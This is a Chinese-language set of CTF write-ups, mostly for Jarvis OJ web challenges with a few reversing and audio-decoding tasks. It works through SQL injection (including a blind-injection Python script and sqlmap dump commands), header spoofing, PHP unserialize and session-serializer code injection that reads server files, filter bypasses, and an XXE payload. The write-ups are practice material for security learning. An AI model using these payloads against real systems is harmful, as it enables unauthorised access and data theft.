命令用法
curl –local-port 51 http://xx
flag:PCTF{M45t3r_oF_CuRl}
打开后是一个输入框,随便输入,尝试抓包,得到hintHint: "select * from `admin` where password='".md5($pass,true)."'"
直接百度,得到一个博客
直接输入字符串ffifdyop得到flag
看来需要localhost access only!!
直接利用Modify Headers直接加上X-Forwarded-For: 127.0.0.1
即可
会发现有个base64编码的地址,猜测这是利用base64访问任意文件
访问showimg.php
$f = $_GET['img'];
if (!empty($f)) {
$f = base64_decode($f);
if (stripos($f,'..')===FALSE && stripos($f,'/')===FALSE && stripos($f,'\\')===FALSE
&& stripos($f,'pctf')===FALSE) {
readfile($f);
} else {
echo "File not found!";
}
}
?>
访问index.php
require_once('shield.php');
$x = new Shield();
isset($_GET['class']) && $g = $_GET['class'];
if (!empty($g)) {
$x = unserialize($g);
}
echo $x->readfile();
?>
查看shield.php
//flag is in pctf.php
class Shield {
public $file;
function __construct($filename = '') {
$this -> file = $filename;
}
function readfile() {
if (!empty($this->file) && stripos($this->file,'..')===FALSE
&& stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
return @file_get_contents($this->file);
}
}
}
?>
看到源码可以知道这是一个序列化的漏洞,直接按照格式生成一个,payload
class Shield {
public $file;
function __construct($filename = '') {
$this -> file = $filename;
}
}
$a = new Shield();
$a->file = "pctf.php";
echo serialize($a);
?>
得到
O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}
flag
//Ture Flag : PCTF{W3lcome_To_Shi3ld_secret_Ar3a}
//Fake flag:
echo "FLAG: PCTF{I_4m_not_fl4g}"
?>
查看源码得到提示index.phps
,访问得
?php
error_reporting(0);
echo "";
if(!$_GET['id'])
{
header('Location: index.php?id=1');
exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
echo 'Hahahahahaha';
return ;
}
$data = @file_get_contents($a,'r');
if($data=="1112 is a nice lab!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
require("flag.txt");
}
else
{
print "work harder!harder!harder!";
}
?>
因为eregi
遇%00截断,所以构造b=%0011111
根据弱类型比较可构造id=0a
比较复杂的就是a的构造,需要a为一个文件,且内容为1112 is a nice lab!
,经过百度,可以将此保存1.txt
在自己的服务器上,然后根据10进制ip
绕过.,另一个就是利用伪协议绕过
完整payload
得到^HT2mCpcvOLf
似乎是地址,访问却啥也没有,但后面补全了id
,猜测sql注入
试了试,的确有waf防御
过滤了空格等,但像关键字值过滤一次,所以可以双写绕过
共有3列,显示位为第三列
打开后测试一下,发现是一道上传图片的题,并且极有可能是文件包含,地址很像
http://web.jarvisoj.com:32785/index.php?page=submit
发现访问照片的地址是uploads
,再联想文件包含,这是开始构造一句话木马
这里为了方便我直接利用edjpgcom
工具构造
当尝试上传一个图片马的时候,出现警告
尝试用sqlmap去跑,直接用sqlmap.py -u http://web.jarvisoj.com:32787/login.php
发现有错,无奈只能在本地运行
sqlmap.py -r D:\工具\sqlmap\sqlmapproject-sqlmap-aa21550\text.txt
然后直接利用sqlmap命令注入
sqlmap.py -r D:\工具\sqlmap\sqlmapproject-sqlmap-aa21550\text.txt -p username --tamper=space2comment --dump --batch
得到账号密码,解码得到密码为eTAloCrEP
输入用户名密码登陆即得flag
首先输入admin/admin
试试,发现报的是密码错误,再尝试1/1
,发现报的是用户名错误,这是就可以知道,这个验证机制是先验证用户名,当用户名正确时在验证密码
然后利用admin/admin
测试一下过滤了那些可用字符
看来是利用报错注入,且一般的字符都没有过滤
先手工猜测一下库表名
admin'/*1*/or/*1*/exists(select/*1*/*/*1*/from/*1*/admin)#
密码报错,说明有admin表
admin'/*1*/or/*1*/exists(select/*1*/username,password/*1*/from/*1*/admin)#
密码报错,说明有username、password
列
admin'/*1*/or/*1*/exists(select/*1*/count(*)/*1*/from/*1*/admin)#
说明只有一个用户名密码
不管长度了,直接设置长一点,开始脚本
import requests
dic='#123456789abcdefghijklmnopqrstuvwxyzQWERTYUIOPASDFGHJKLZXCVBNM_'
flag = ''
for i in range(1,40):
for j in dic:
url = 'http://web.jarvisoj.com:32787/login.php'
con = "'/**/or/**/ascii(substr((select/**/password/**/from/**/admin),{0},1))>{1}#".format(i,ord(j))
#con = "admin'/*1*/or/*1*/exists(select/*1*/count(*)/*1*/from/*1*/admin)#"
#print con
data = {'username':con,
'password':1}
s=requests.post(url=url,data=data)
length = len(s.text)
#print length
if length > 1191:
flag+=j
print flag
break
print flag
本来想直接提交的发现不对,然后看了一下长度,发下是32位,试下md5解密
打开直接看源码
<html>
<head>
<link href="//cdnjs.cloudflare.com/ajax/libs/x-editable/1.5.0/bootstrap3-editable/css/bootstrap-editable.css" rel="stylesheet"/>
<script src="//cdnjs.cloudflare.com/ajax/libs/x-editable/1.5.0/bootstrap3-editable/js/bootstrap-editable.min.js">script>
head>
<body>
<div class="show">
<textarea id="tip-area" width=100px height=50px disabled>textarea>
div>
<div class="control-area">
<input id="evil-input" type="text" width=100px height=50px value="type sth!"/>
<button class="btn btn-default" type="button" onclick="send()">Go!button>
div>
<script>
function XHR() { //创建一个XML对象
var xhr;
try {xhr = new XMLHttpRequest();}
catch(e) {
var IEXHRVers =["Msxml3.XMLHTTP","Msxml2.XMLHTTP","Microsoft.XMLHTTP"];
for (var i=0,len=IEXHRVers.length;i< len;i++) {
try {xhr = new ActiveXObject(IEXHRVers[i]);}
catch(e) {continue;}
}
}
return xhr;
}
function send(){
evil_input = document.getElementById("evil-input").value;
var xhr = XHR();
xhr.open("post","/api/v1.0/try",true);//服务器发送请求
xhr.onreadystatechange = function () { //onreadystatechange是一个函数 的句柄
if (xhr.readyState==4 && xhr.status==201) { // readyState为状态码, 只有状态码为4时执行代码
data = JSON.parse(xhr.responseText); //将异步返回值转换为JSON 格式
tip_area = document.getElementById("tip-area");
tip_area.value = data.task.search+data.task.value;
}
};
xhr.setRequestHeader("Content-Type","application/json");
xhr.send('{"search":"'+evil_input+'","value":"own"}'); // 将数据传到服务器上
}
script>
body>
html>
通过分析里面的JS代码可以知道这有XHL对象,通过查阅资料
(https://segmentfault.com/a/1190000002782175)
可以知道关于Ajax的运用
(http://open.chrome.360.cn/extension_dev/xhr.html)
这篇讲述了xhr.readyState==4
会产生危险
查找关于XML的攻击
(http://blog.csdn.net/u013224189/article/details/49759845)
xml entity 可以读取外置文件,其实entity作用相当于定义全局变量和引用外部文件
]>引用外部文件
]> 全局变量
在一般的异步网站都会有异步数据与服务器的交互,一般传送数据为json但如果将传送的数据格式改为xml。有很大的可能服务器会解析你异步上传的xml脚本执行想要干的事
得到payload:
]><foo>&xxe;foo>
将Content - Type:application/json
中的json改为xml,可以让服务器解析XML
通过Burpsuite上传得到flag
打开是源码
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
public $mdzz;
function __construct()
{
$this->mdzz = 'phpinfo();';
}
function __destruct()
{
eval($this->mdzz);
}
}
if(isset($_GET['phpinfo']))
{
$m = new OowoO();
}
else
{
highlight_string(file_get_contents('index.php'));
}
?>
这是一道PHP序列化漏洞的题,三种类型如下链接学习
(http://www.tuicool.com/articles/zEfuEz)
处理器 | 对应的存储格式 |
---|---|
php | 键名 + 竖线 + 经过 serialize() 函数反序列处理的值 |
php_binary | 键名的长度对应的 ASCII 字符 + 键名 + 经过 serialize() 函数反序列处理的值 |
php_serialize(php>=5.5.4) | 经过 serialize() 函数反序列处理的数组 |
首先先本地测试一下效果
首先test.php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION["Ni9htMar3"]=$_GET["a"];
?>
test1.php
ini_set('session.serialize_handler', 'php');
session_start();
class Ni9htMar3
{
public $haha;
function __construct()
{
//$this->haha = 'echo "Hacked!";';
$this->haha = 'phpinfo();';
}
function __destruct()
{
eval($this->haha);
}
}
//$m = new Ni9htMar3();
//echo serialize($m);
//|O:9:"Ni9htMar3":1:{s:4:"haha";s:15:"echo "Hacked!";";}
?>
这说明Hacked成功
先构造一个上传界面
然后修改filename
首先看看文件地址,注意转义
|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:27:\"print_r(dirname(__FILE__));\";}
看着目录,继续
`|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:38:\"print_r(scandir(\"/opt/lampp/htdocs\"));\";}`
发现目标
|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:88:\"print_r(file_get_contents(\"/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php\"));\";}
这一题的确是个福利题…并没有涉及到dex函数隐藏等小技巧,只是简单的使用proguard进行了混淆。可以静态也可动态(动态先改掉debug检测,还不如直接静态看一下),那么,关键部分源码:
private void getKey(){
try {
InputStream stream = this.getResources().getAssets().open("url.png");
int v = stream.available();
byte[] bs = new byte[v];
stream.read(bs, 0, v);
byte[] keybyte = new byte[16];
System.arraycopy(bs, 144, keybyte, 0, 16);
this.key = new String(keybyte, "utf-8");
}
catch (Exception e){
e.printStackTrace();
}
//code
}
private String handle(String naive){
try {
naive.getBytes("utf-8");
StringBuilder str = new StringBuilder();
for (int i = 0; i < naive.length(); i += 2) {
str.append(naive.charAt(i + 1));
str.append(naive.charAt(i));
}
return str.toString();
}catch (UnsupportedEncodingException e){
e.printStackTrace();
}
return null;
}
protected void Encryption(byte[] key){
try {
if (key == null) {
byte[] bytes = "".getBytes("utf-8");
MessageDigest messageDigest = MessageDigest.getInstance("MD5");
byte[] bytes1 = messageDigest.digest(bytes);
secretKeySpec = new SecretKeySpec(bytes1, "AES");
cipher = Cipher.getInstance("AES/ECB/PKCS5Padding");
}
else {
secretKeySpec = new SecretKeySpec(key, "AES");
cipher = Cipher.getInstance("AES/ECB/PKCS5Padding");
}
}except{
//...
}
}
从url.png中获得key,然后使用handle函数进行处理(奇偶位互换)作为最终AES加密的key。flag密文:
byte[] bye = {21,-93,-68,-94,86,117,-19,-68,-92,33,50,118,16,13,1,-15,-13,3,4,103,-18,81,30,68,54,-93,44,-23,93,98,5,59};
new String(bye);
使用AES/ECB/PKCS5Padding,用key对选手输入进行加密,结果与flag密文进行比对;
故解密时只需
init(Cipher.DECRYPT_MODE, secretKeySpec);
对flag密文进行解密即可。
flag:LCTF{1t's_rea1ly_an_ea3y_ap4}
这是一段神奇的声音,可是上帝之音似乎和无字天书一样,是我们这些凡人无法理解的,你能以上帝的角度,理解这段WAV的含义么?
Hint1: 你们做音频题都不喜欢看时域图?
Hint2: 在数据传输过程中,我们往往会使用一种自带时钟的编码以减少误码率
godwave.wav.26b6f50dfb87d00b338b58924acdbea1
Audacity 打开就是一段稀奇古怪的音频信号,仔细观察,发现不同段落其幅值有明显差异,应该是调幅了,MATLAB 导入 wav 文件看数据,发现大概是以 64 个点为周期,那么取幅值高的为 1,幅值低的为 0。
clc;
clear;
y = audioread('godwave.wav');
he = 0;
data = [];
for i = 1:length(y)
he = he + abs(y(i,1));
if mod(i,64) == 0
if he > 10
data = [data,1];
else
data = [data,0];
end
he = 0;
end
end
fid = fopen('data.txt','w');
for i = 1:length(data)
fprintf(fid,'%d',data(1,i));
end
fclose(fid);
解出的数据是曼彻斯特编码,解码后是一张图片。
# coding=utf-8
with open('data.txt', 'r') as f:
data = f.readline()
print len(data)
count = 0
res = 0
ans = ''
key = ""
while data != '':
pac = data[:2]
if pac != '':
if pac[0] == '0' and pac[1] == '1':
res = (res<<1)|0
count += 1
if pac[0] == '1' and pac[1] == '0':
res = (res<<1)|1
count += 1
if count == 8:
ans += chr(res)
count = 0
res = 0
else:
break
data = data[2:]
with open('out.png', 'wb') as f2:
f2.write(ans)
扫描二维码即可。
直接莫尔斯解密即得,提交其中32大写md5值
明显是莫尔斯密码
然后发现没有价值,尝试凯撒解密,得到有意义的字符串